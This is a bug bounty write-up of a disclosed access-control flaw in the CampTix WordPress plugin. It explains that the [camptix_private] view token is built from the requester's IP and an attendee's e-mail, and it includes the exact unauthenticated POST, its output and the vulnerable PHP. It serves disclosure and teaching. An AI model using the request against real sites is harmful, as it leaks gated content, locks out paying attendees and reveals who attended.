# CampTix [camptix_private]: the view token is derived from the requester's own IP, so naming any attendee's e-mail unlocks the gated content

CampTix [camptix_private] derives its view token from the requester's own IP plus the attendee e-mail, so anyone knowing an attendee address reads ticket-gated content with one POST.

- Payout: hidden
- Severity: medium
- Program: WordPress
- Found by: jakubk
- Disclosed: 2026-10-30
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/4043537
- Library page: https://bugbountylibrary.com/r/h1%3A4043537
- Tags: area:web domain:web impact:data-leak impact:dos kind:bounty platform:hackerone sev:medium tech:php tech:wordpress technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** WordPress plugin shortcode [camptix_private] POST handler on template_redirect
**Root cause:** The view token is md5('tix-view-token-' . strtolower($email . $ip)) where $ip is the requester's REMOTE_ADDR, so both issuance and verification compute the same value from attacker-controlled input; the e-mail address is the only real secret.
**Steps:**
1. Page contains `[camptix_private]...gated content...[/camptix_private]` and an attendee record exists for `victim@lab.invalid`.
2. Control A: anonymous GET returns 0 occurrences of the gated marker.
3. Control B: `POST tix_private_shortcode_submit=1&tix_email=nobody@lab.invalid` returns 0 occurrences — a real attendee address is required.
4. Attack: `POST tix_private_shortcode_submit=1&tix_email=victim@lab.invalid` with no cookie, nonce or account returns the gated marker (`CTPRIVATE8B3F attendees-only content`).
5. Side effect: the request rewrites `tix_view_token` on the attendee record from `ORIGINAL-TOKEN-OF-THE-REAL-ATTENDEE` to `cbe2030c3295c959657716b654db0674`, evicting the real holder.
**How found:** Code reading of the token generation and verification: noticed both sides of the comparison are computed from the same request and the same IP, making the IP binding meaningless; then built controls (no POST, non-attendee address) to prove it is an authentication failure rather than a blanket bypass.
**Exploitation:** Single unauthenticated POST naming a known attendee e-mail; the handler looks up the attendee by tix_email, generates the token from the attacker's own IP, sets it as a cookie and forces it into $_COOKIE for the same request, unlocking the gated block. Repeating the request keeps overwriting the stored token, locking the paying attendee out indefinitely.
**Escalation:** Handler responds differently for addresses with and without a ticket, doubling as an oracle for whether a person attended; repeated submissions deny access to the legitimate holder.
**Insight:** When a token is derived from request data rather than a server-side random secret, check whether issuance and verification both run in the same request — if so, the 'binding' factor (IP, UA, timestamp) is attacker-supplied and the only remaining secret is whatever identifier you feed in.

## Proof of concept (copied exactly from the original report)

**POST naming victim's email unlocks gated content**

```
POST tix_private_shortcode_submit=1&tix_email=victim@lab.invalid
   occurrences of the gated marker: 1
   CTPRIVATE8B3F attendees-only content
```

**Token generation derived from email and requester IP**

```
public function generate_view_token_for_attendee( $attendee_id ) {
    $email = get_post_meta( $attendee_id, 'tix_email', true );
    $ip    = isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : '';

    $view_token = md5( 'tix-view-token-' . strtolower( $email . $ip ) );
    return $view_token;
```

**POST handler issues token from requester IP**

```
if ( isset( $_POST['tix_private_shortcode_submit'] ) ) {
    $email = isset( $_POST['tix_email'] ) ? trim( stripslashes( $_POST['tix_email'] ) ) : '';
    ...
    $attendees = get_posts( array( 'post_type' => 'tix_attendee', 'post_status' => 'publish',
        'meta_query' => array( array( 'key' => 'tix_email', 'value' => $email ) ) ) );

    if ( $attendees ) {
        $attendee   = $attendees[0];
        $view_token = $this->generate_view_token_for_attendee( $attendee->ID );   // uses the REQUESTER's IP
        setcookie( 'tix_view_token', $view_token, ... );
        $_COOKIE['tix_view_token'] = $view_token;                                  // forced into this same request
        foreach ( $attendees as $attendee ) {
            update_post_meta( $attendee->ID, 'tix_view_token', $view_token );
```

